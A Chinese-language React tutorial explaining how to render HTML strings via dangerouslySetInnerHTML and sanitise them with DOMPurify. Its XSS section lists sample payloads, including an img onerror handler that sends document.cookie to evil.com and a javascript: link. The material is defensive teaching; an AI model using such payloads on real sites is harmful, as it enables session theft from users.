JSX里怎么输出HTML字符串?dangerouslySetInnerHTML怎么用?

作者:小齿轮时间:2026-11-12 16:21:59浏览:379

在React JSX中直接渲染HTML字符串会被默认转义为普通文本。本文系统讲解JSX输出HTML字符串的核心属性dangerouslySetInnerHTML的语法规范、底层渲染原理、XSS安全风险防范,以及配合DOMPurify进行安全过滤的最佳实践。

React 实用教程
JSX里怎么输出HTML字符串?dangerouslySetInnerHTML怎么用?
图 0:React 中 HTML 字符串处理方式与核心逻辑总览
在 React 开发中,如果你直接使用 <div>{htmlString}</div> 输出包含 HTML 标签的字符串,React 出于安全防护策略,会自动将 <、> 等特殊符号转义,导致页面把标签当做纯文本显示。想要把 HTML 字符串正确解析为真实 DOM 节点并渲染出排版格式,React 官方提供了专用属性 dangerouslySetInnerHTML,规范语法为 <div dangerouslySetInnerHTML={{ __html: htmlString }} />。本文将系统拆解该属性的语法结构、底层原理、安全风险及配合 DOMPurify 的标准防范实践。

一、为什么直接在 JSX 中写 HTML 字符串无法渲染?

在传统前端开发中,若要把带有标记的字符串插入页面,可以直接给原生 DOM 赋值 element.innerHTML = htmlString。但在 React 中,如果按照常规的 JSX 变量绑定方式书写代码,浏览器不会按照 HTML 语法进行解析。

1. 现象演示

假设我们从接口或富文本数据中拿到如下一段 HTML 字符串:

function ProductNotice() {
  // 包含 HTML 格式的普通字符串
  const rawHtml = "<strong>发货提醒:</strong>受物流影响,您的包裹将于明日<span style='color: red;'>优先发出</span>。";

  // 直接在 JSX 大括号中引用变量
  return (
    <div className="notice-box">
      {rawHtml}
    </div>
  );
}

在页面中实际呈现的效果并非带有红色与加粗样式的提醒,而是直接展示了完整的源代码:

<strong>发货提醒:</strong>受物流影响,您的包裹将于明日<span style='color: red;'>优先发出</span>。

2. 底层原因:React 默认的 XSS 防御转义

React 这样设计的首要目标是防止跨站脚本攻击(XSS, Cross-Site Scripting)。在 React 内部渲染机制中,花括号 {rawHtml} 中的内容被严格视作纯文本(Text Node)。在将虚拟 DOM 输出为实际页面内容时,React 会自动对字符串执行 HTML 字符实体转义:

  • 将 < 转义为 &lt;
  • 将 > 转义为 &gt;
  • 将 & 转义为 &amp;
  • 将 " 转义为 &quot;

正是这层默认转义屏障,使得即使用户输入中含有恶意的 <script>alert(1)</script>,也会被浏览器渲染为无害的纯文本字符,而绝不会作为可执行代码运行。

JSX里怎么输出HTML字符串?dangerouslySetInnerHTML怎么用?
图 1:JSX 普通变量插值与 dangerouslySetInnerHTML 的底层解析与渲染机制对比

二、dangerouslySetInnerHTML 的基本语法与命名设计

当业务场景确实需要渲染 HTML(例如新闻资讯内容、富文本编辑器发布的结果、第三方 CMS 返回的排版等)时,我们必须使用 React 专门提供的 dangerouslySetInnerHTML 属性。

1. 标准使用语法

它的用法非常特殊,必须向其传入一个包含 __html 字段的 JavaScript 对象,且该宿主容器标签应为无子元素的自闭合标签:

import React from "react";

function HtmlViewer() {
  const articleContent = "<h3>系统更新公告</h3><p>核心模块已升级至 <strong>v2.4</strong>。</p>";

  return (
    <div 
      className="article-content"
      dangerouslySetInnerHTML={{ __html: articleContent }} 
    />
  );
}

2. 为什么是“双花括号”?

初学者常常困惑于 {{ __html: ... }} 的写法。拆解来看:

  • 外层花括号 { ... }:这是 JSX 的语法标记,表示其内部是纯 JavaScript 表达式;
  • 内层花括号 { __html: articleContent }:这是一个常规的 JavaScript 对象字面量(Object Literal)。

等价于先定义一个中间变量:

const innerMarkup = { __html: articleContent };
return <div dangerouslySetInnerHTML={innerMarkup} />;

3. 为什么要有 __html 与 dangerously 前缀?

React 设计团队故意给这个属性赋予了一个带有警示意味的名字:

  • 警告开发者(Code Smell):dangerously 直译为“危险地”。它的存在就像代码中的警报灯,在代码审查(Code Review)或静态检测中极其显眼,提醒开发者该处绕过了 React 的安全沙箱。
  • 双下划线 __html:强制要求构造 { __html: ... } 对象,避免开发者无意中将未处理的普通变量直接绑定给属性,从而增加一道意识上的防火墙。

三、危险所在:XSS 攻击的真实载荷与破坏力

为什么 React 视其为“危险”?因为浏览器在执行 innerHTML 赋值时,会全面执行 HTML 规范所允许的一切交互行为。一旦 HTML 字符串来源于未经信任的用户输入(例如评论区留言、论坛发帖、URL 参数或第三方接口),攻击者就可以构造恶意载荷实施 XSS 攻击。

JSX里怎么输出HTML字符串?dangerouslySetInnerHTML怎么用?
图 2:常见 XSS 恶意攻击载荷识别与 DOMPurify 过滤防护架构

1. 常见恶意攻击载荷形式

载荷类型 恶意代码示例 攻击触发机制与危害
内嵌脚本标签 <script>steal(document.cookie)</script> 虽然部分现代浏览器对直接插入的 script 标签做了执行限制,但在特定环境或配合动态创建时仍可能引发代码执行。
DOM 事件句柄 <img src="invalid" onerror="fetch('https://evil.com/steal?c='+document.cookie)" /> 图片地址故意填写不存在的路径,触发 onerror 事件,无需用户交互即自动在当前域下运行恶意 JS。
伪协议攻击 <a href="javascript:doTransferMoney()">领取福利</a> 诱导用户点击看似普通的超链接,点击后在上下文环境下直接调用内部特权函数或接口。
安全铁律:绝不能直接将未经清洗过滤的用户输入直接传给 dangerouslySetInnerHTML。一旦恶意代码在受害者浏览器中执行,攻击者可盗取用户的登录凭证(Cookie/LocalStorage Token)、伪造用户操作甚至篡改整个页面。

四、安全实施标准:结合 DOMPurify 进行内容净化

解决 XSS 风险的行业黄金标准是:在将 HTML 字符串传入 dangerouslySetInnerHTML 之前,先对其进行严格的白名单清洗(Sanitization)。DOMPurify 是前端领域被广泛验证且性能极佳的 XSS 防御库。

JSX里怎么输出HTML字符串?dangerouslySetInnerHTML怎么用?
图 3:安全使用 dangerouslySetInnerHTML 的 5 个标准开发步骤

步骤 1:安装依赖包

在你的 React 项目根目录下执行安装命令:

# 使用 npm
npm install dompurify
npm install --save-dev @types/dompurify

# 或使用 yarn
yarn add dompurify
yarn add -D @types/dompurify

# 若在 Next.js 等服务端渲染 (SSR) 框架中,建议安装同构版本
npm install isomorphic-dompurify

步骤 2:封装可复用的安全渲染组件

在实际工程中,建议不要在各个业务页面中随处散落 dangerouslySetInnerHTML,而是将其封装为一个专用的 SafeHtmlRenderer 组件,统一在此处完成清洗逻辑与样式注入:

import React, { useMemo } from "react";
import DOMPurify from "dompurify";

interface SafeHtmlProps {
  dirtyHtml: string;
  className?: string;
}

export const SafeHtmlRenderer: React.FC<SafeHtmlProps> = ({ dirtyHtml, className }) => {
  // 使用 useMemo 避免每次重渲染重复进行正则净化运算
  const cleanHtml = useMemo(() => {
    if (!dirtyHtml) return "";

    // 调用 DOMPurify.sanitize 进行白名单过滤
    return DOMPurify.sanitize(dirtyHtml, {
      // 可选:严格限制允许的标签与属性
      ALLOWED_TAGS: ["b", "strong", "i", "em", "p", "span", "h1", "h2", "h3", "ul", "ol", "li", "a", "img", "blockquote", "code", "pre"],
      ALLOWED_ATTR: ["href", "title", "src", "alt", "class", "style", "target"],
    });
  }, [dirtyHtml]);

  return (
    <div
      className={`rich-content-container ${className || ""}`}
      dangerouslySetInnerHTML={{ __html: cleanHtml }}
    />
  );
};
SSR 服务端渲染提示:如果在 Next.js 或其它 Node.js 服务端环境中,原生 window 与 document 并不存在,直接引入 dompurify 会报错。此时引入 isomorphic-dompurify 可以在服务端自动使用 jsdom 模拟环境,保持前后端运行的一致性。

五、工程落地的关键细节与常见陷阱

1. 容器内不能同时嵌套子元素(Children)

如果在设置了 dangerouslySetInnerHTML 的元素内部同时编写了子节点,React 在运行时会抛出控制台警告,因为这两种声明方式在 DOM 结构构建上是相互冲突的:

// ❌ 错误示范:同时传入 children 与 dangerouslySetInnerHTML
<div dangerouslySetInnerHTML={{ __html: cleanHtml }}>
  <span>不要在这里放置子节点</span>
</div>

// 控制台警告:Error: Can only set one of `children` or `props.dangerouslySetInnerHTML`.

// ✓ 正确示范:使用无子节点的自闭合标签
<div dangerouslySetInnerHTML={{ __html: cleanHtml }} />

2. 富文本的 CSS 样式作用域隔离

使用 CSS Modules 或 styled-components 时,注入的 HTML 内部标签(如 <p>、<strong>)并没有被编译生成对应的哈希类名(Hash Class)。因此,必须通过外层容器类的后代选择器来定义样式:

/* 在对应的 CSS 样式表中定义 */
.rich-content-container {
  line-height: 1.8;
  color: #334155;
}

/* 使用后代选择器修饰动态注入的子标签 */
.rich-content-container p {
  margin-bottom: 1em;
}

.rich-content-container img {
  max-width: 100%;
  height: auto;
  border-radius: 6px;
}

.rich-content-container a {
  color: #438A80;
  text-decoration: underline;
}

3. 虚拟 DOM Diff 与性能影响

当外部传入的 __html 字符串发生变更时,React 无法在虚拟 DOM 层细粒度地比对 HTML 内部的具体标签变化,而是会直接触发整块宿主节点的 innerHTML 全量重绘。因此:

  • 避免在频繁变动的循环动画或毫秒级高频更新状态中频繁替换整段 HTML;
  • 对于大篇幅长文档,结合 React.memo 或 useMemo 确保仅在内容真正改变时才触发重新解析。

六、技术选型决策:什么时候该用替代方案?

并不是所有格式化展示场景都需要使用 dangerouslySetInnerHTML。根据具体的数据结构与业务目标,通常有以下更优雅或更安全的替代方案:

JSX里怎么输出HTML字符串?dangerouslySetInnerHTML怎么用?
图 4:React 中渲染格式化富文本内容的技术选型决策树
方案 适用场景 核心优势 注意事项
原生 JSX 组件 静态内容、前端可控的小段排版 安全性最高,享有完整的虚拟 DOM Diff 与组件生命周期 无法动态渲染外部或数据库返回的未知结构
react-markdown 博客、文档、问答评论等 Markdown 格式内容 直接解析为原生 React 元素树,天然免疫脚本注入 仅适用于 Markdown 文本,若为 HTML 仍需插件配合
html-react-parser 需要将特定 HTML 标签替换为自定义 React 组件(如将 <a> 换成 <Link>) 把 HTML 字符串转成真正的 React 虚拟 DOM 树,拦截定制能力强 运行时代价略高于原生 innerHTML,仍需做 XSS 过滤
DOMPurify + dangerouslySetInnerHTML 富文本编辑器生成的大段 HTML、老旧 CMS 内容 渲染性能极高,原生浏览器解析,轻量无多余依赖 必须严格配套 DOMPurify 净化过滤器

七、总结

在 React JSX 中渲染 HTML 字符串的核心逻辑可以概括为以下三条准则:

  1. 理解默认转义:React 默认通过文本转义屏蔽 HTML 解析,旨在从源头根除绝大部分 XSS 漏洞;
  2. 掌握规范语法:必须输出 HTML 字符串时,使用无子节点的宿主标签挂载 dangerouslySetInnerHTML={{ __html: sanitizedString }};
  3. 坚守安全底线:“危险”源于不可信输入。任何动态引入的 HTML 必须在渲染前通过 DOMPurify 进行白名单消毒,确保在保留排版格式的同时彻底消除脚本注入隐患。
作者最新文章
相关文章
更多